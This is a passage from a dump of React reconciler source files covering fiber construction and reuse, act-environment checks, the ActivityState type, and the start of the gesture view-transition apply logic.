{\n      Object.preventExtensions(this);\n    }\n  }\n}\n\n// This is a constructor function, rather than a POJO constructor, still\n// please ensure we do the following:\n// 1) Nobody should add any instance methods on this. Instance methods can be\n//    more difficult to predict when they get optimized and they are almost\n//    never inlined properly in static compilers.\n// 2) Nobody should rely on `instanceof Fiber` for type testing. We should\n//    always know when it is a fiber.\n// 3) We might want to experiment with using numeric keys since they are easier\n//    to optimize in a non-JIT environment.\n// 4) We can easily go from a constructor to a createFiber object literal if that\n//    is faster.\n// 5) It should be easy to port this to a C struct and keep a C implementation\n//    compatible.\nfunction createFiberImplClass(\n  tag: WorkTag,\n  pendingProps: mixed,\n  key: ReactKey,\n  mode: TypeOfMode,\n): Fiber {\n  // $FlowFixMe[invalid-constructor]: the shapes are exact here but Flow doesn't like constructors\n  return new FiberNode(tag, pendingProps, key, mode);\n}\n\nfunction createFiberImplObject(\n  tag: WorkTag,\n  pendingProps: mixed,\n  key: ReactKey,\n  mode: TypeOfMode,\n): Fiber {\n  const fiber: Fiber = {\n    // Instance\n    // tag, key - defined at the bottom as dynamic properties\n    elementType: null,\n    type: null,\n    stateNode: null,\n\n    // Fiber\n    return: null,\n    child: null,\n    sibling: null,\n    index: 0,\n\n    ref: null,\n    refCleanup: null,\n\n    // pendingProps - defined at the bottom as dynamic properties\n    memoizedProps: null,\n    updateQueue: null,\n    memoizedState: null,\n    dependencies: null,\n\n    // Effects\n    flags: NoFlags,\n    subtreeFlags: NoFlags,\n    deletions: null,\n\n    lanes: NoLanes,\n    childLanes: NoLanes,\n\n    alternate: null,\n\n    // dynamic properties at the end for more efficient hermes bytecode\n    tag,\n    key,\n    pendingProps,\n    mode,\n  };\n\n  if (enableProfilerTimer) {\n    fiber.actualDuration = -0;\n    fiber.actualStartTime = -1.1;\n    fiber.selfBaseDuration = -0;\n    fiber.treeBaseDuration = -0;\n  }\n\n  if (__DEV__) {\n    // This isn't directly used but is handy for debugging internals:\n    fiber._debugInfo = null;\n    fiber._debugOwner = null;\n    fiber._debugStack = null;\n    fiber._debugTask = null;\n    fiber._debugNeedsRemount = false;\n    fiber._debugHookTypes = null;\n    if (!hasBadMapPolyfill && typeof Object.preventExtensions === 'function') {\n      Object.preventExtensions(fiber);\n    }\n  }\n  return fiber;\n}\n\nconst createFiber = enableObjectFiber\n  ? createFiberImplObject\n  : createFiberImplClass;\n\nfunction shouldConstruct(Component: Function) {\n  const prototype = Component.prototype;\n  return !!(prototype && prototype.isReactComponent);\n}\n\nexport function isSimpleFunctionComponent(type: any): boolean {\n  return (\n    typeof type === 'function' &&\n    !shouldConstruct(type) &&\n    type.defaultProps === undefined\n  );\n}\n\nexport function isFunctionClassComponent(\n  type: (...args: Array<any>) => mixed,\n): boolean {\n  return shouldConstruct(type);\n}\n\n// This is used to create an alternate fiber to do work on.\nexport function createWorkInProgress(current: Fiber, pendingProps: any): Fiber {\n  let workInProgress = current.alternate;\n  if (workInProgress === null) {\n    // We use a double buffering pooling technique because we know that we'll\n    // only ever need at most two versions of a tree. We pool the \"other\" unused\n    // node that we're free to reuse. This is lazily created to avoid allocating\n    // extra objects for things that are never updated. It also allow us to\n    // reclaim the extra memory if needed.\n    workInProgress = createFiber(\n      current.tag,\n      pendingProps,\n      current.key,\n      current.mode,\n    );\n    workInProgress.elementType = current.elementType;\n    workInProgress.type = current.type;\n    workInProgress.stateNode = current.stateNode;\n\n    if (__DEV__) {\n      // DEV-only fields\n\n      workInProgress._debugOwner = current._debugOwner;\n      workInProgress._debugStack = current._debugStack;\n      workInProgress._debugTask = current._debugTask;\n      workInProgress._debugHookTypes = current._debugHookTypes;\n    }\n\n    workInProgress.alternate = current;\n    current.alternate = workInProgress;\n  } else {\n    workInProgress.pendingProps = pendingProps;\n    // Needed because Blocks store data on type.\n    workInProgress.type = current.type;\n\n    // We already have an alternate.\n    // Reset the effect tag.\n    workInProgress.flags = NoFlags;\n\n    // The effects are no longer valid.\n    workInProgress.subtreeFlags = NoFlags;\n    workInProgress.deletions = null;\n\n    if (enableOptimisticKey) {\n      // For optimistic keys, the Fibers can have different keys if one is optimistic\n      // and the other one is filled in.\n      workInProgress.key = current.key;\n    }\n\n    if (enableProfilerTimer) {\n      // We intentionally reset, rather than copy, actualDuration & actualStartTime.\n      // This prevents time from endlessly accumulating in new commits.\n      // This has the downside of resetting values for different priority renders,\n      // But works for yielding (the common case) and should support resuming.\n      workInProgress.actualDuration = -0;\n      workInProgress.actualStartTime = -1.1;\n    }\n  }\n\n  // Reset all effects except static ones.\n  // Static effects are not specific to a render.\n  workInProgress.flags = current.flags & StaticMask;\n  workInProgress.childLanes = current.childLanes;\n  workInProgress.lanes = current.lanes;\n\n  workInProgress.child = current.child;\n  workInProgress.memoizedProps = current.memoizedProps;\n  workInProgress.memoizedState = current.memoizedState;\n  workInProgress.updateQueue = current.updateQueue;\n\n  // Clone the dependencies object. This is mutated during the render phase, so\n  // it cannot be shared with the current fiber.\n  const currentDependencies = current.dependencies;\n  workInProgress.dependencies =\n    currentDependencies === null\n      ? null\n      : __DEV__\n        ? {\n            lanes: currentDependencies.lanes,\n            firstContext: currentDependencies.firstContext,\n            _debugThenableState: currentDependencies._debugThenableState,\n          }\n        : {\n            lanes: currentDependencies.lanes,\n            firstContext: currentDependencies.firstContext,\n          };\n\n  // These will be overridden during the parent's reconciliation\n  workInProgress.sibling = current.sibling;\n  workInProgress.index = current.index;\n  workInProgress.ref = current.ref;\n  workInProgress.refCleanup = current.refCleanup;\n\n  if (enableProfilerTimer) {\n    workInProgress.selfBaseDuration = current.selfBaseDuration;\n    workInProgress.treeBaseDuration = current.treeBaseDuration;\n  }\n\n  if (__DEV__) {\n    workInProgress._debugInfo = current._debugInfo;\n    workInProgress._debugNeedsRemount = current._debugNeedsRemount;\n    switch (workInProgress.tag) {\n      case FunctionComponent:\n      case SimpleMemoComponent:\n        workInProgress.type = resolveFunctionForHotReloading(current.type);\n        break;\n      case ClassComponent:\n        workInProgress.type = resolveClassForHotReloading(current.type);\n        break;\n      case ForwardRef:\n        workInProgress.type = resolveForwardRefForHotReloading(current.type);\n        break;\n      default:\n        break;\n    }\n  }\n\n  return workInProgress;\n}\n\n// Used to reuse a Fiber for a second pass.\nexport function resetWorkInProgress(\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n): Fiber {\n  // This resets the Fiber to what createFiber or createWorkInProgress would\n  // have set the values to before during the first pass. Ideally this wouldn't\n  // be necessary but unfortunately many code paths reads from the workInProgress\n  // when they should be reading from current and writing to workInProgress.\n\n  // We assume pendingProps, index, key, ref, return are still untouched to\n  // avoid doing another reconciliation.\n\n  // Reset the effect flags but keep any Placement tags, since that's something\n  // that child fiber is setting, not the reconciliation.\n  workInProgress.flags &= StaticMask | Placement;\n\n  // The effects are no longer valid.\n\n  const current = workInProgress.alternate;\n  if (current === null) {\n    // Reset to createFiber's initial values.\n    workInProgress.childLanes = NoLanes;\n    workInProgress.lanes = renderLanes;\n\n    workInProgress.child = null;\n    workInProgress.subtreeFlags = NoFlags;\n    workInProgress.memoizedProps = null;\n    workInProgress.memoizedState = null;\n    workInProgress.updateQueue = null;\n\n    workInProgress.dependencies = null;\n\n    workInProgress.stateNode = null;\n\n    if (enableProfilerTimer) {\n      // Note: We don't reset the actualTime counts. It's useful to accumulate\n      // actual time across multiple render passes.\n      workInProgress.selfBaseDuration = 0;\n      workInProgress.treeBaseDuration = 0;\n    }\n  } else {\n    // Reset to the cloned values that createWorkInProgress would've.\n    workInProgress.childLanes = current.childLanes;\n    workInProgress.lanes = current.lanes;\n\n    workInProgress.child = current.child;\n    workInProgress.subtreeFlags = NoFlags;\n    workInProgress.deletions = null;\n    workInProgress.memoizedProps = current.memoizedProps;\n    workInProgress.memoizedState = current.memoizedState;\n    workInProgress.updateQueue = current.updateQueue;\n    // Needed because Blocks store data on type.\n    // TODO: Blocks don't exist anymore. Do we still need this?\n    workInProgress.type = current.type;\n\n    if (enableOptimisticKey) {\n      // For optimistic keys, the Fibers can have different keys if one is optimistic\n      // and the other one is filled in.\n      workInProgress.key = current.key;\n    }\n\n    // Clone the dependencies object. This is mutated during the render phase, so\n    // it cannot be shared with the current fiber.\n    const currentDependencies = current.dependencies;\n    workInProgress.dependencies =\n      currentDependencies === null\n        ? null\n        : __DEV__\n          ? {\n              lanes: currentDependencies.lanes,\n              firstContext: currentDependencies.firstContext,\n              _debugThenableState: currentDependencies._debugThenableState,\n            }\n          : {\n              lanes: currentDependencies.lanes,\n              firstContext: currentDependencies.firstContext,\n            };\n\n    if (enableProfilerTimer) {\n      // Note: We don't reset the actualTime counts. It's useful to accumulate\n      // actual time across multiple render passes.\n      workInProgress.selfBaseDuration = current.selfBaseDuration;\n      workInProgress.treeBaseDuration = current.treeBaseDuration;\n    }\n  }\n\n  return workInProgress;\n}\n\nexport function createHostRootFiber(\n  tag: RootTag,\n  isStrictMode: boolean,\n): Fiber {\n  let mode: number;\n  if (disableLegacyMode || tag === ConcurrentRoot) {\n    mode = ConcurrentMode;\n    if (isStrictMode === true) {\n      mode |= StrictLegacyMode | StrictEffectsMode;\n    }\n  } else {\n    mode = NoMode;\n  }\n\n  if (__DEV__ || (enableProfilerTimer && isDevToolsPresent)) {\n    // dev: Enable profiling instrumentation by default.\n    // profile: enabled if DevTools is present or subtree is wrapped in <Profiler>.\n    // production: disabled.\n    mode |= ProfileMode;\n  }\n\n  return createFiber(HostRoot, null, null, mode);\n}\n\n// TODO: Get rid of this helper. Only createFiberFromElement should exist.\nexport function createFiberFromTypeAndProps(\n  type: any, // React$ElementType\n  key: ReactKey,\n  pendingProps: any,\n  owner: null | ReactComponentInfo | Fiber,\n  mode: TypeOfMode,\n  lanes: Lanes,\n): Fiber {\n  let fiberTag: WorkTag = FunctionComponent;\n  // The resolved type is set if we know what the final type will be. I.e. it's not lazy.\n  let resolvedType = type;\n  if (typeof type === 'function') {\n    if (shouldConstruct(type)) {\n      fiberTag = ClassComponent;\n      if (__DEV__) {\n        resolvedType = resolveClassForHotReloading(resolvedType);\n      }\n    } else {\n      if (__DEV__) {\n        resolvedType = resolveFunctionForHotReloading(resolvedType);\n      }\n    }\n  } else if (typeof type === 'string') {\n    if (supportsResources && supportsSingletons) {\n      const hostContext = getHostContext();\n      fiberTag = isHostHoistableType(type, pendingProps, hostContext)\n        ? HostHoistable\n        : isHostSingletonType(type)\n          ? HostSingleton\n          : HostComponent;\n    } else if (supportsResources) {\n      const hostContext = getHostContext();\n      fiberTag = isHostHoistableType(type, pendingProps, hostContext)\n        ? HostHoistable\n        : HostComponent;\n    } else if (supportsSingletons) {\n      fiberTag = isHostSingletonType(type) ? HostSingleton : HostComponent;\n    } else {\n      fiberTag = HostComponent;\n    }\n  } else {\n    getTag: switch (type) {\n      case REACT_ACTIVITY_TYPE:\n        return createFiberFromActivity(pendingProps, mode, lanes, key);\n      case REACT_FRAGMENT_TYPE:\n        return createFiberFromFragment(pendingProps.children, mode, lanes, key);\n      case REACT_STRICT_MODE_TYPE:\n        fiberTag = Mode;\n        mode |= StrictLegacyMode;\n        if (disableLegacyMode || (mode & ConcurrentMode) !== NoMode) {\n          // Strict effects should never run on legacy roots\n          mode |= StrictEffectsMode;\n        }\n        break;\n      case REACT_PROFILER_TYPE:\n        return createFiberFromProfiler(pendingProps, mode, lanes, key);\n      case REACT_SUSPENSE_TYPE:\n        return createFiberFromSuspense(pendingProps, mode, lanes, key);\n      case REACT_SUSPENSE_LIST_TYPE:\n        return createFiberFromSuspenseList(pendingProps, mode, lanes, key);\n      case REACT_LEGACY_HIDDEN_TYPE:\n        if (enableLegacyHidden) {\n          return createFiberFromLegacyHidden(pendingProps, mode, lanes, key);\n        }\n      // Fall through\n      case REACT_VIEW_TRANSITION_TYPE:\n        if (enableViewTransition) {\n          return createFiberFromViewTransition(pendingProps, mode, lanes, key);\n        }\n      // Fall through\n      case REACT_SCOPE_TYPE:\n        if (enableScopeAPI) {\n          return createFiberFromScope(type, pendingProps, mode, lanes, key);\n        }\n      // Fall through\n      case REACT_TRACING_MARKER_TYPE:\n        if (enableTransitionTracing) {\n          return createFiberFromTracingMarker(pendingProps, mode, lanes, key);\n        }\n      // Fall through\n      default: {\n        if (typeof type === 'object' && type !== null) {\n          switch (type.$$typeof) {\n            case REACT_CONTEXT_TYPE:\n              fiberTag = ContextProvider;\n              break getTag;\n            case REACT_CONSUMER_TYPE:\n              fiberTag = ContextConsumer;\n              break getTag;\n            // Fall through\n            case REACT_FORWARD_REF_TYPE:\n              fiberTag = ForwardRef;\n              if (__DEV__) {\n                resolvedType = resolveForwardRefForHotReloading(resolvedType);\n              }\n              break getTag;\n            case REACT_MEMO_TYPE:\n              fiberTag = MemoComponent;\n              break getTag;\n            case REACT_LAZY_TYPE:\n              fiberTag = LazyComponent;\n              resolvedType = null;\n              break getTag;\n          }\n        }\n        let info = '';\n        let typeString;\n        if (__DEV__) {\n          if (\n            type === undefined ||\n            (typeof type === 'object' &&\n              type !== null &&\n              Object.keys(type).length === 0)\n          ) {\n            info +=\n              ' You likely forgot to export your component from the file ' +\n              \"it's defined in, or you might have mixed up default and named imports.\";\n          }\n\n          if (type === null) {\n            typeString = 'null';\n          } else if (isArray(type)) {\n            typeString = 'array';\n          } else if (\n            type !== undefined &&\n            type.$$typeof === REACT_ELEMENT_TYPE\n          ) {\n            typeString = `<${\n              getComponentNameFromType(type.type) || 'Unknown'\n            } />`;\n            info =\n              ' Did you accidentally export a JSX literal instead of a component?';\n          } else {\n            typeString = typeof type;\n          }\n\n          const ownerName = owner ? getComponentNameFromOwner(owner) : null;\n          if (ownerName) {\n            info += '\\n\\nCheck the render method of `' + ownerName + '`.';\n          }\n        } else {\n          typeString = type === null ? 'null' : typeof type;\n        }\n\n        // The type is invalid but it's conceptually a child that errored and not the\n        // current component itself so we create a virtual child that throws in its\n        // begin phase. This is the same thing we do in ReactChildFiber if we throw\n        // but we do it here so that we can assign the debug owner and stack from the\n        // element itself. That way the error stack will point to the JSX callsite.\n        fiberTag = Throw;\n        pendingProps = new Error(\n          'Element type is invalid: expected a string (for built-in ' +\n            'components) or a class/function (for composite components) ' +\n            `but got: ${typeString}.${info}`,\n        );\n        resolvedType = null;\n      }\n    }\n  }\n\n  const fiber = createFiber(fiberTag, pendingProps, key, mode);\n  fiber.elementType = type;\n  fiber.type = resolvedType;\n  fiber.lanes = lanes;\n\n  if (__DEV__) {\n    fiber._debugOwner = owner;\n  }\n\n  return fiber;\n}\n\nexport function createFiberFromElement(\n  element: ReactElement,\n  mode: TypeOfMode,\n  lanes: Lanes,\n): Fiber {\n  let owner = null;\n  if (__DEV__) {\n    owner = element._owner;\n  }\n  const type = element.type;\n  const key = element.key;\n  const pendingProps = element.props;\n  const fiber = createFiberFromTypeAndProps(\n    type,\n    key,\n    pendingProps,\n    owner,\n    mode,\n    lanes,\n  );\n  if (__DEV__) {\n    fiber._debugOwner = element._owner;\n    fiber._debugStack = element._debugStack;\n    fiber._debugTask = element._debugTask;\n  }\n  return fiber;\n}\n\nexport function createFiberFromFragment(\n  elements: ReactFragment,\n  mode: TypeOfMode,\n  lanes: Lanes,\n  key: ReactKey,\n): Fiber {\n  const fiber = createFiber(Fragment, elements, key, mode);\n  fiber.lanes = lanes;\n  return fiber;\n}\n\nfunction createFiberFromScope(\n  scope: ReactScope,\n  pendingProps: any,\n  mode: TypeOfMode,\n  lanes: Lanes,\n  key: ReactKey,\n) {\n  const fiber = createFiber(ScopeComponent, pendingProps, key, mode);\n  fiber.type = scope;\n  fiber.elementType = scope;\n  fiber.lanes = lanes;\n  return fiber;\n}\n\nfunction createFiberFromProfiler(\n  pendingProps: any,\n  mode: TypeOfMode,\n  lanes: Lanes,\n  key: ReactKey,\n): Fiber {\n  if (__DEV__) {\n    if (typeof pendingProps.id !== 'string') {\n      console.error(\n        'Profiler must specify an \"id\" of type `string` as a prop. Received the type `%s` instead.',\n        typeof pendingProps.id,\n      );\n    }\n  }\n\n  const fiber = createFiber(Profiler, pendingProps, key, mode | ProfileMode);\n  fiber.elementType = REACT_PROFILER_TYPE;\n  fiber.lanes = lanes;\n\n  if (enableProfilerTimer) {\n    fiber.stateNode = {\n      effectDuration: 0,\n      passiveEffectDuration: 0,\n    };\n  }\n\n  return fiber;\n}\n\nexport function createFiberFromSuspense(\n  pendingProps: any,\n  mode: TypeOfMode,\n  lanes: Lanes,\n  key: ReactKey,\n): Fiber {\n  const fiber = createFiber(SuspenseComponent, pendingProps, key, mode);\n  fiber.elementType = REACT_SUSPENSE_TYPE;\n  fiber.lanes = lanes;\n  return fiber;\n}\n\nexport function createFiberFromSuspenseList(\n  pendingProps: any,\n  mode: TypeOfMode,\n  lanes: Lanes,\n  key: ReactKey,\n): Fiber {\n  const fiber = createFiber(SuspenseListComponent, pendingProps, key, mode);\n  fiber.elementType = REACT_SUSPENSE_LIST_TYPE;\n  fiber.lanes = lanes;\n  return fiber;\n}\n\nexport function createFiberFromOffscreen(\n  pendingProps: OffscreenProps,\n  mode: TypeOfMode,\n  lanes: Lanes,\n  key: ReactKey,\n): Fiber {\n  const fiber = createFiber(OffscreenComponent, pendingProps, key, mode);\n  fiber.lanes = lanes;\n  return fiber;\n}\nexport function createFiberFromActivity(\n  pendingProps: ActivityProps,\n  mode: TypeOfMode,\n  lanes: Lanes,\n  key: ReactKey,\n): Fiber {\n  const fiber = createFiber(ActivityComponent, pendingProps, key, mode);\n  fiber.elementType = REACT_ACTIVITY_TYPE;\n  fiber.lanes = lanes;\n  return fiber;\n}\n\nexport function createFiberFromViewTransition(\n  pendingProps: ViewTransitionProps,\n  mode: TypeOfMode,\n  lanes: Lanes,\n  key: ReactKey,\n): Fiber {\n  if (!enableSuspenseyImages) {\n    // Render a ViewTransition component opts into SuspenseyImages mode even\n    // when the flag is off.\n    mode |= SuspenseyImagesMode;\n  }\n  const fiber = createFiber(ViewTransitionComponent, pendingProps, key, mode);\n  fiber.elementType = REACT_VIEW_TRANSITION_TYPE;\n  fiber.lanes = lanes;\n  const instance: ViewTransitionState = {\n    autoName: null,\n    paired: null,\n    clones: null,\n    ref: null,\n  };\n  fiber.stateNode = instance;\n  return fiber;\n}\n\nexport function createFiberFromLegacyHidden(\n  pendingProps: LegacyHiddenProps,\n  mode: TypeOfMode,\n  lanes: Lanes,\n  key: ReactKey,\n): Fiber {\n  const fiber = createFiber(LegacyHiddenComponent, pendingProps, key, mode);\n  fiber.elementType = REACT_LEGACY_HIDDEN_TYPE;\n  fiber.lanes = lanes;\n  return fiber;\n}\n\nexport function createFiberFromTracingMarker(\n  pendingProps: any,\n  mode: TypeOfMode,\n  lanes: Lanes,\n  key: ReactKey,\n): Fiber {\n  const fiber = createFiber(TracingMarkerComponent, pendingProps, key, mode);\n  fiber.elementType = REACT_TRACING_MARKER_TYPE;\n  fiber.lanes = lanes;\n  const tracingMarkerInstance: TracingMarkerInstance = {\n    tag: TransitionTracingMarker,\n    transitions: null,\n    pendingBoundaries: null,\n    aborts: null,\n    name: pendingProps.name,\n  };\n  fiber.stateNode = tracingMarkerInstance;\n  return fiber;\n}\n\nexport function createFiberFromText(\n  content: string,\n  mode: TypeOfMode,\n  lanes: Lanes,\n): Fiber {\n  const fiber = createFiber(HostText, content, null, mode);\n  fiber.lanes = lanes;\n  return fiber;\n}\n\nexport function createFiberFromDehydratedFragment(\n  dehydratedNode: SuspenseInstance | ActivityInstance,\n): Fiber {\n  const fiber = createFiber(DehydratedFragment, null, null, NoMode);\n  fiber.stateNode = dehydratedNode;\n  return fiber;\n}\n\nexport function createFiberFromPortal(\n  portal: ReactPortal,\n  mode: TypeOfMode,\n  lanes: Lanes,\n): Fiber {\n  const pendingProps = portal.children !== null ? portal.children : [];\n  const fiber = createFiber(HostPortal, pendingProps, portal.key, mode);\n  fiber.lanes = lanes;\n  fiber.stateNode = {\n    containerInfo: portal.containerInfo,\n    pendingChildren: null, // Used by persistent updates\n    implementation: portal.implementation,\n  };\n  return fiber;\n}\n\nexport function createFiberFromThrow(\n  error: mixed,\n  mode: TypeOfMode,\n  lanes: Lanes,\n): Fiber {\n  const fiber = createFiber(Throw, error, null, mode);\n  fiber.lanes = lanes;\n  return fiber;\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberAct.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from './ReactFiber';\n\nimport ReactSharedInternals from 'shared/ReactSharedInternals';\n\nimport {warnsIfNotActing} from './ReactFiberConfig';\n\nexport function isLegacyActEnvironment(fiber: Fiber): boolean {\n  if (__DEV__) {\n    // Legacy mode. We preserve the behavior of React 17's act. It assumes an\n    // act environment whenever `jest` is defined, but you can still turn off\n    // spurious warnings by setting IS_REACT_ACT_ENVIRONMENT explicitly\n    // to false.\n\n    const isReactActEnvironmentGlobal =\n      // $FlowFixMe[cannot-resolve-name] Flow doesn't know about IS_REACT_ACT_ENVIRONMENT global\n      typeof IS_REACT_ACT_ENVIRONMENT !== 'undefined'\n        ? // $FlowFixMe[cannot-resolve-name]\n          IS_REACT_ACT_ENVIRONMENT\n        : undefined;\n\n    // $FlowFixMe[cannot-resolve-name] - Flow doesn't know about jest\n    const jestIsDefined = typeof jest !== 'undefined';\n    return (\n      warnsIfNotActing && jestIsDefined && isReactActEnvironmentGlobal !== false\n    );\n  }\n  return false;\n}\n\nexport function isConcurrentActEnvironment(): void | boolean {\n  if (__DEV__) {\n    const isReactActEnvironmentGlobal =\n      // $FlowFixMe[cannot-resolve-name] Flow doesn't know about IS_REACT_ACT_ENVIRONMENT global\n      typeof IS_REACT_ACT_ENVIRONMENT !== 'undefined'\n        ? // $FlowFixMe[cannot-resolve-name]\n          IS_REACT_ACT_ENVIRONMENT\n        : undefined;\n\n    if (\n      !isReactActEnvironmentGlobal &&\n      ReactSharedInternals.actQueue !== null\n    ) {\n      // TODO: Include link to relevant documentation page.\n      console.error(\n        'The current testing environment is not configured to support ' +\n          'act(...)',\n      );\n    }\n    return isReactActEnvironmentGlobal;\n  }\n  return false;\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberActivityComponent.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ActivityInstance} from './ReactFiberConfig';\nimport type {CapturedValue} from './ReactCapturedValue';\nimport type {Lane} from './ReactFiberLane';\nimport type {TreeContext} from './ReactFiberTreeContext';\n\n// A non-null ActivityState represents a dehydrated Activity boundary.\nexport type ActivityState = {\n  dehydrated: ActivityInstance,\n  treeContext: null | TreeContext,\n  // Represents the lane we should attempt to hydrate a dehydrated boundary at.\n  // OffscreenLane is the default for dehydrated boundaries.\n  // NoLane is the default for normal boundaries, which turns into \"normal\" pri.\n  retryLane: Lane,\n  // Stashed Errors that happened while attempting to hydrate this boundary.\n  hydrationErrors: Array<CapturedValue<mixed>> | null,\n};\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberApplyGesture.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ViewTransitionProps} from 'shared/ReactTypes';\n\nimport type {Fiber, FiberRoot} from './ReactInternalTypes';\n\nimport type {Instance, TextInstance, Props} from './ReactFiberConfig';\n\nimport type {OffscreenState} from './ReactFiberOffscreenComponent';\n\nimport type {ViewTransitionState} from './ReactFiberViewTransitionComponent';\n\nimport {\n  cloneMutableInstance,\n  cloneMutableTextInstance,\n  cloneRootViewTransitionContainer,\n  removeRootViewTransitionClone,\n  cancelRootViewTransitionName,\n  restoreRootViewTransitionName,\n  cancelViewTransitionName,\n  applyViewTransitionName,\n  appendChild,\n  commitUpdate,\n  commitTextUpdate,\n  resetTextContent,\n  supportsResources,\n  supportsSingletons,\n  unhideInstance,\n  unhideTextInstance,\n} from './ReactFiberConfig';\nimport {\n  popMutationContext,\n  pushMutationContext,\n  viewTransitionMutationContext,\n  trackHostMutation,\n} from './ReactFiberMutationTracking';\nimport {\n  MutationMask,\n  Placement,\n  Update,\n  ContentReset,\n  NoFlags,\n  Visibility,\n  ViewTransitionNamedStatic,\n  ViewTransitionStatic,\n  AffectedParentLayout,\n} from './ReactFiberFlags';\nimport {\n  HasEffect as HookHasEffect,\n  Insertion as HookInsertion,\n} from './ReactHookEffectTags';\nimport {\n  FunctionComponent,\n  ForwardRef,\n  MemoComponent,\n  SimpleMemoComponent,\n  HostComponent,\n  HostHoistable,\n  HostSingleton,\n  HostText,\n  HostPortal,\n  OffscreenComponent,\n  ViewTransitionComponent,\n} from './ReactWorkTags';\nimport {\n  restoreEnterOrExitViewTransitions,\n  restoreNestedViewTransitions,\n  restoreUpdateViewTransitionForGesture,\n  appearingViewTransitions,\n  commitEnterViewTransitions,\n  measureNestedViewTransitions,\n  measureUpdateViewTransition,\n  viewTransitionCancelableChildren,\n  pushViewTransitionCancelableScope,\n  popViewTransitionCancelableScope,\n} from './ReactFiberCommitViewTransitions';\nimport {\n  commitHookEffectListMount,\n  commitHookEffectListUnmount,\n} from './ReactFiberCommitEffects';\nimport {\n  getViewTransitionName,\n  getViewTransitionClassName,\n} from './ReactFiberViewTransitionComponent';\n\nimport {\n  enableProfilerTimer,\n  enableComponentPerformanceTrack,\n} from 'shared/ReactFeatureFlags';\nimport {trackAnimatingTask} from './ReactProfilerTimer';\nimport {scheduleGestureTransitionEvent} from './ReactFiberWorkLoop';\n\n// Used during the apply phase to track whether a parent ViewTransition component\n// might have been affected by any mutations / relayouts below.\nlet viewTransitionContextChanged: boolean = false;\n\nfunction detectMutationOrInsertClones(finishedWork: Fiber): boolean {\n  return true;\n}\n\nconst CLONE_UPDATE = 0; // Mutations in this subtree or potentially affected by layout.\nconst CLONE_EXIT = 1; // Inside a reappearing offscreen before the next ViewTransition or HostComponent.\nconst CLONE_UNHIDE = 2; // Inside a reappearing offscreen before the next HostComponent.\nconst CLONE_APPEARING_PAIR = 3; // Like UNHIDE but we're already inside the first Host Component only finding pairs.\nconst CLONE_UNCHANGED = 4; // Nothing in this tree was changed but we're still walking to clone it.\nconst INSERT_EXIT = 5; // Inside a newly mounted tree before the next ViewTransition or HostComponent.\nconst INSERT_APPEND = 6; // Inside a newly mounted tree before the next HostComponent.\nconst INSERT_APPEARING_PAIR = 7; // Inside a newly mounted tree only finding pairs.\ntype VisitPhase = 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7;\n\nfunction applyViewTransitionToClones(\n  name: string,\n  className: ?string,\n  clones: Array<Instance>,\n  fiber: Fiber,\n): void {\n  // This gets called when we have found a pair, but after the clone in created. The clone is\n  // created by the insertion side. If the insertion side if found before the deletion side\n  // then this is called by the deletion. If the deletion is visited first then this is called\n  // later by the insertion when the clone has been created.\n  for (let i = 0; i < clones.length; i++) {\n    applyViewTransitionName(\n      clones[i],\n      i === 0\n        ? name\n        : // If we have multiple Host Instances below, we add a suffix to the name to give\n          // each one a unique name.\n          name + '_' + i,\n      className,\n    );\n  }\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    if (fiber._debugTask != null) {\n      trackAnimatingTask(fiber._debugTask);\n    }\n  }\n}\n\nfunction trackDeletedPairViewTransitions(deletion: Fiber): void {\n  if (\n    appearingViewTransitions === null ||\n    appearingViewTransitions.size === 0\n  ) {\n    // We've found all.\n    return;\n  }\n  const pairs = appearingViewTransitions;\n  if ((deletion.subtreeFlags & ViewTransitionNamedStatic) === NoFlags) {\n    // This has no named view transitions in its subtree.\n    return;\n  }\n  let child = deletion.child;\n  while (child !== null) {\n    if (child.tag === OffscreenComponent && child.memoizedState !== null) {\n      // This tree was already hidden so we skip it.\n    } else {\n      if (\n        child.tag === ViewTransitionComponent &&\n        (child.flags & ViewTransitionNamedStatic) !== NoFlags\n      ) {\n        const props: ViewTransitionProps = child.memoizedProps;\n        const name = props.name;\n        if (name != null && name !== 'auto') {\n          const pair = pairs.get(name);\n          if (pair !== undefined) {\n            // Delete the entry so that we know when we've found all of them\n            // and can stop searching (size reaches zero).\n            pairs.delete(name);\n            const className: ?string = getViewTransitionClassName(\n              props.default,\n              props.share,\n            );\n            if (className !== 'none') {\n              // TODO: Since the deleted instance already has layout we could\n              // check if it's in the viewport and if not skip the pairing.\n              // It would currently cause layout thrash though so if we did that\n              // we need to avoid inserting the root of the cloned trees until\n              // the end.\n\n              // The \"old\" instance is actually the one we're inserting.\n              const oldInstance: ViewTransitionState = pair;\n              // The \"new\" instance is the already mounted one we're deleting.\n              const newInstance: ViewTransitionState = child.stateNode;\n              oldInstance.paired = newInstance;\n              newInstance.paired = oldInstance;\n              const clones = oldInstance.clones;\n              if (clones !== null) {\n                // If we have clones that means that we've already visited this\n                // ViewTransition boundary before and we can now apply the name\n                // to those clones. Otherwise, we have to wait until we clone it.\n                applyViewTransitionToClones(name, className, clones, child);\n              }\n            }\n            if (pairs.size === 0) {\n              break;\n            }\n          }\n        }\n      }\n      trackDeletedPairViewTransitions(child);\n    }\n    child = child.sibling;\n  }\n}\n\nfunction trackEnterViewTransitions(deletion: Fiber): void {\n  if (deletion.tag === ViewTransitionComponent) {\n    const props: ViewTransitionProps = deletion.memoizedProps;\n    const name = getViewTransitionName(props, deletion.stateNode);\n    const pair =\n      appearingViewTransitions !== null\n        ? appearingViewTransitions.get(name)\n        : undefined;\n    const className: ?string = getViewTransitionClassName(\n      props.default,\n      pair !== undefined ? props.share : props.enter,\n    );\n    if (className !== 'none') {\n      if (pair !== undefined) {\n        // TODO: Since the deleted instance already has layout we could\n        